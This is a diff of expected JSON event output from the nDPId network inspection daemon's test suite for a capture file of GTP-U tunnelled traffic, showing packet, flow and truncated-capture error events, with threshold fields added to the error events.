-00243{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1550422828553466} +00343{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422828553466,"packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1550422828553466} 00428{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1550422828553466,"pkt":"AAAAcxs8EFFy5LtdCABFeABcpb4AAEARUG2RTALsu2A0VQhoCGgASAAAMv8AOAn8kEPKcwAARQAANFkiQAB\/BgGSrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBeCMAAAEBBQo6qnTxOqqFWQ=="} 00763{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1550422828553466,"flow_src_last_pkt_time":1550422828553466,"flow_dst_last_pkt_time":1550422828553466,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":64,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":64,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":64,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1550422828553466,"l3_proto":"ip4","src_ip":"145.76.2.236","dst_ip":"187.96.52.85","src_port":2152,"dst_port":2152,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00591{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_src_last_pkt_time":1550422828553466,"flow_dst_last_pkt_time":1550422828553466,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"thread_ts_usec":1550422828553466,"pkt":"AAAAcxs8EFFy5LtdCABFeABcpb4AAEARUG2RTALsu2A0VQhoCGgASAAAMv8AOAn8kEPKcwAARQAANFkiQAB\/BgGSrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBeCMAAAEBBQo6qnTxOqqFWQ=="} 00879{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1550422828553466,"flow_src_last_pkt_time":1550422828553466,"flow_dst_last_pkt_time":1550422828553466,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":64,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":64,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":64,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1550422828553466,"l3_proto":"ip4","src_ip":"145.76.2.236","dst_ip":"187.96.52.85","src_port":2152,"dst_port":2152,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"GTP.GTP_U","proto_id":"152.271","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00243{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":2,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1550422828949487} +00343{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422828949487,"packet_id":2,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1550422828949487} 00428{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1550422828553466,"pkt":"AAAAcxs8EFFy5LtdCABFeABcLoEAAEARx6qRTALsu2A0VQhoCGgASAAAMv8AOAn8kEPNcwAARQAANFkkQAB\/BgGQrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBcqsAAAEBBQo6qnTxOqqK0Q=="} 00591{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_src_last_pkt_time":1550422828949487,"flow_dst_last_pkt_time":1550422828553466,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"thread_ts_usec":1550422828949487,"pkt":"AAAAcxs8EFFy5LtdCABFeABcLoEAAEARx6qRTALsu2A0VQhoCGgASAAAMv8AOAn8kEPNcwAARQAANFkkQAB\/BgGQrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBcqsAAAEBBQo6qnTxOqqK0Q=="} -00243{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":3,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1550422829033309} +00343{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422829033309,"packet_id":3,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1550422829033309} 00428{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1550422828949487,"pkt":"AAAAcxs8EFFy5LtdCABFeABcSu8AAEARqzyRTALsu2A0VQhoCGgASAAAMv8AOAn8kEPOcwAARQAANFklQAB\/BgGPrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBbTMAAAEBBQo6qnTxOqqQSQ=="} 00591{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_src_last_pkt_time":1550422829033309,"flow_dst_last_pkt_time":1550422828553466,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"thread_ts_usec":1550422829033309,"pkt":"AAAAcxs8EFFy5LtdCABFeABcSu8AAEARqzyRTALsu2A0VQhoCGgASAAAMv8AOAn8kEPOcwAARQAANFklQAB\/BgGPrBEkFT++kSvhEwBQ8LOPBjqqVCGAEAEBbTMAAAEBBQo6qnTxOqqQSQ=="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":14,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422830892428} +00344{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422830892428,"packet_id":14,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422830892428} 00438{"packet_event_id":1,"packet_event_name":"packet","packet_id":14,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1550422829930010,"pkt":"AAAAcxs8EFFy5LtdCABFeABkrHMAAEARSbCRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEPacwAARQAAPFkxQAB\/BgF7rBEkFT++kSvhEwBQ8LOPBjqqVCGgEAEB\/lMAAAEBBRI6qmoBOqpveTqqdPE6qpBJ"} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":16,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422831332137} +00344{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422831332137,"packet_id":16,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422831332137} 00437{"packet_event_id":1,"packet_event_name":"packet","packet_id":16,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1550422830894938,"pkt":"AAAAcxs8EFFy5LtdCABFeABkPGYAAEARub2RTALsu2A0VQhoCGgAUAAAMv8AQAn8kEPbcwAARQAAPFkyQAB\/BgF6rBEkFT++kSvhEwBQ8LOPBjqqVCGgEAEBA8wAAAEBBRI6qmSJOqpveTqqdPE6qpBJ"} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":24,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422831496038} +00344{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422831496038,"packet_id":24,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422831496038} 00450{"packet_event_id":1,"packet_event_name":"packet","packet_id":24,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"thread_ts_usec":1550422831334845,"pkt":"AAAAcxs8EFFy5LtdCABFeABsdA0AAEARgg6RTALsu2A0VQhoCGgAWAAAMv8ASAn8kEPccwAARQAARFkzQAB\/BgFxrBEkFT++kSvhEwBQ8LOPBjqqVCHAEAEBaSwAAAEBBRo6qn\/hOqqFWTqqdPE6qpBJOqpkiTqqb3k="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":25,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422831516116} +00344{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422831516116,"packet_id":25,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422831516116} 00449{"packet_event_id":1,"packet_event_name":"packet","packet_id":25,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"thread_ts_usec":1550422831496038,"pkt":"AAAAcxs8EFFy5LtdCABFeABseqMAAEARe3iRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEPdcwAARQAARFk0QAB\/BgFwrBEkFT++kSvhEwBQ8LOPBjqqVCHAEAEBXjwAAAEBBRo6qoVZOqqK0TqqdPE6qpBJOqpkiTqqb3k="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":26,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422833131470} +00344{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422833131470,"packet_id":26,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422833131470} 00438{"packet_event_id":1,"packet_event_name":"packet","packet_id":26,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1550422831516116,"pkt":"AAAAcxs8EFFy5LtdCABFeABkmSIAAEARXQGRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEPqcwAARQAAPFk9QAB\/BgFvrBEkFT++kSvhEwBQ8LOPBjqqWZmgEAEB\/lMAAAEBBRI6qnTxOqqQSTqqZIk6qm95"} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":30,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422833287234} +00344{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422833287234,"packet_id":30,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422833287234} 00437{"packet_event_id":1,"packet_event_name":"packet","packet_id":30,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1550422833134009,"pkt":"AAAAcxs8EFFy5LtdCABFeABkzGMAAEARKcCRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEPrcwAARQAAPFk+QAB\/BgFurBEkFT++kSvhEwBQ8LOPBjqqXxGgEAEB+NsAAAEBBRI6qnTxOqqQSTqqZIk6qm95"} 02140{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":32,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":9,"flow_dst_packets_processed":23,"flow_first_seen":1550422828553466,"flow_src_last_pkt_time":1550422833287234,"flow_dst_last_pkt_time":1550422833289770,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":64,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":80,"flow_dst_max_l4_payload_len":1448,"flow_src_tot_l4_payload_len":640,"flow_dst_tot_l4_payload_len":27912,"midstream":0,"thread_ts_usec":1550422833289770,"l3_proto":"ip4","src_ip":"145.76.2.236","dst_ip":"187.96.52.85","src_port":2152,"dst_port":2152,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":1,"avg":305486.2,"max":1859119,"stddev":563984.9,"var":318078976000.0,"ent":3.1,"data": [396021,83822,1376171,124,2,2,1,3,2,2,113,124,1859119,964928,439709,439658,123,2,1,1,1,121,163901,20078,1615354,1799040,121,3,155764,155637,124]},"pktlen": {"min":76,"avg":920.2,"max":1476,"stddev":651.3,"var":424215.9,"ent":4.5,"data": [92,92,92,1476,1476,1476,1476,1476,1476,1476,1476,1476,1476,100,1476,100,1476,1476,1476,1476,1372,1476,1476,108,108,100,76,388,1164,100,76,388]},"bins": {"c_to_s": [0,0,9,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,17,0,0]},"directions": [0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1],"entropies": [5.396138191,5.404344082,5.439617157,7.876337528,7.839885235,7.778254986,7.872960091,7.839048862,7.805950642,7.829119205,7.848347187,7.849987984,7.779471874,5.402985096,7.775711060,5.441986561,7.838281155,7.873279095,7.848281860,7.860656261,7.849815845,7.850412846,7.844122410,5.518630505,5.537148952,5.382984638,5.187358379,7.340617657,7.811021328,5.454438686,5.151109695,7.382753849]},"ndpi": {"confidence": {"6":"DPI"},"proto":"GTP.GTP_U","proto_id":"152.271","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":34,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422833447409} +00345{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422833447409,"packet_id":34,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422833447409} 00450{"packet_event_id":1,"packet_event_name":"packet","packet_id":34,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"thread_ts_usec":1550422833289895,"pkt":"AAAAcxs8EFFy5LtdCABFeABsAdEAAEAR9EqRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEPscwAARQAARFk\/QAB\/BgFlrBEkFT++kSvhEwBQ8LOPBjqqXxHAEAEBHQQAAAEBBRo6qqCxOqqlwTqqdPE6qpBJOqpkiTqqb3k="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":35,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422834706876} +00345{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422834706876,"packet_id":35,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422834706876} 00449{"packet_event_id":1,"packet_event_name":"packet","packet_id":35,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"thread_ts_usec":1550422833447409,"pkt":"AAAAcxs8EFFy5LtdCABFeABspBUAAEARUgaRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEP1cwAARQAARFlIQAB\/BgFcrBEkFT++kSvhEwBQ8LOPBjqqXxHAEAEBG8wAAAEBBRo6qqCxOqqm+TqqdPE6qpBJOqpkiTqqb3k="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":36,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422834810623} +00345{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422834810623,"packet_id":36,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422834810623} 00449{"packet_event_id":1,"packet_event_name":"packet","packet_id":36,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"thread_ts_usec":1550422834706876,"pkt":"AAAAcxs8EFFy5LtdCABFeABswggAAEARNBORTALsu2A0VQhoCGgAWAAAMv8ASAn8kEP3cwAARQAARFlJQAB\/BgFbrBEkFT++kSvhEwBQ8LOPBjqqXxHAEAEBF4wAAAEBBRo6qqCxOqqrOTqqdPE6qpBJOqpkiTqqb3k="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":37,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422834810623} +00345{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":13,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422834810623,"packet_id":37,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422834810623} 00449{"packet_event_id":1,"packet_event_name":"packet","packet_id":37,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"thread_ts_usec":1550422834810623,"pkt":"AAAAcxs8EFFy5LtdCABFeABswgkAAEARNBKRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEP4cwAARQAARFlKQAB\/BgFarBEkFT++kSvhEwBQ8LOPBjqqXxHAEAEBFlQAAAEBBRo6qqCxOqqscTqqdPE6qpBJOqpkiTqqb3k="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":38,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422834970446} +00345{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":14,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422834970446,"packet_id":38,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422834970446} 00449{"packet_event_id":1,"packet_event_name":"packet","packet_id":38,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"thread_ts_usec":1550422834810623,"pkt":"AAAAcxs8EFFy5LtdCABFeABsCZYAAEAR7IWRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEP6cwAARQAARFlLQAB\/BgFZrBEkFT++kSvhEwBQ8LOPBjqqXxHAEAEBEhQAAAEBBRo6qqCxOqqwsTqqdPE6qpBJOqpkiTqqb3k="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":49,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":130,"expected":134,"global_ts_usec":1550422836805918} +00345{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":15,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422836805918,"packet_id":49,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":130,"expected":134,"global_ts_usec":1550422836805918} 00461{"packet_event_id":1,"packet_event_name":"packet","packet_id":49,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"thread_ts_usec":1550422835423571,"pkt":"AAAAcxs8EFFy5LtdCABFeAB0ec4AAEARfEWRTALsu2A0VQhoCGgAYAAAMv8AUAn8kEMGdAAARQAATFlXQAB\/BgFFrBEkFT++kSvhEwBQ8LOPBjqqXxHgEAEBriQAAAEBBSI6qmSJOqpqATqqZIk6qm95OqqgsTqqsLE6qnTxOqqQSQ=="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":51,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422837968976} +00345{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":16,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1550422837968976,"packet_id":51,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422837968976} 00437{"packet_event_id":1,"packet_event_name":"packet","packet_id":51,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1550422836808446,"pkt":"AAAAcxs8EFFy5LtdCABFeABkCt4AAEAR60WRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEMOdAAARQAAPFlfQAB\/BgFNrBEkFT++kSvhEwBQ8LOPBjqqb3mgEAEBaxMAAAEBBRI6qqCxOqqwsTqqdPE6qpBJ"} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":54,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1550422838904895} -00429{"packet_event_id":1,"packet_event_name":"packet","packet_id":54,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1550422837971380,"pkt":"AAAAcxs8EFFy5LtdCABFeABcQ5AAAEARspuRTALsu2A0VQhoCGgASAAAMv8AOAn8kEMUdAAARQAANFllQAB\/BgFPrBEkFT++kSvhEwBQ8LOPBjqqkEmAEAEB5OIAAAEBBQo6qqCxOqqwsQ=="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":57,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1550422838960483} -00429{"packet_event_id":1,"packet_event_name":"packet","packet_id":57,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1550422838907386,"pkt":"AAAAcxs8EFFy5LtdCABFeABcVMgAAEARoWORTALsu2A0VQhoCGgASAAAMv8AOAn8kEMVdAAARQAANFlmQAB\/BgFOrBEkFT++kSvhEwBQ8LOPBjqqlcGAEAEB32oAAAEBBQo6qqCxOqqwsQ=="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":59,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1550422840104736} -00429{"packet_event_id":1,"packet_event_name":"packet","packet_id":59,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1550422838963083,"pkt":"AAAAcxs8EFFy5LtdCABFeABc4ZkAAEARFJKRTALsu2A0VQhoCGgASAAAMv8AOAn8kEMfdAAARQAANFlvQAB\/BgFFrBEkFT++kSvhEwBQ8LOPBjqqlcGAEAEB5OIAAAEBBQo6qps5OqqwsQ=="} -00242{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":60,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":94,"expected":98,"global_ts_usec":1550422840304141} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":60,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":1550422840104736,"pkt":"AAAAcxs8EFFy5LtdCABFeABQIPEAAEAR1UaRTALsu2A0VQhoCGgAPAAAMv8ALAn8kEMgdAAARQAAKFlwQAB\/BgFQrBEkFT++kSvhEwBQ8LOPBjqqsLFQEAEBwUkAAA=="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":71,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1550422840464152} -00429{"packet_event_id":1,"packet_event_name":"packet","packet_id":71,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1550422840306564,"pkt":"AAAAcxs8EFFy5LtdCABFeABcV2kAAEARnsKRTALsu2A0VQhoCGgASAAAMv8AOAn8kEMhdAAARQAANFlxQAB\/BgFDrBEkFT++kSvhEwBQ8LOPBjqqsLGAEAEB5OIAAAEBBQo6qpXBOqqbOQ=="} -00242{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":72,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":94,"expected":98,"global_ts_usec":1550422841363459} 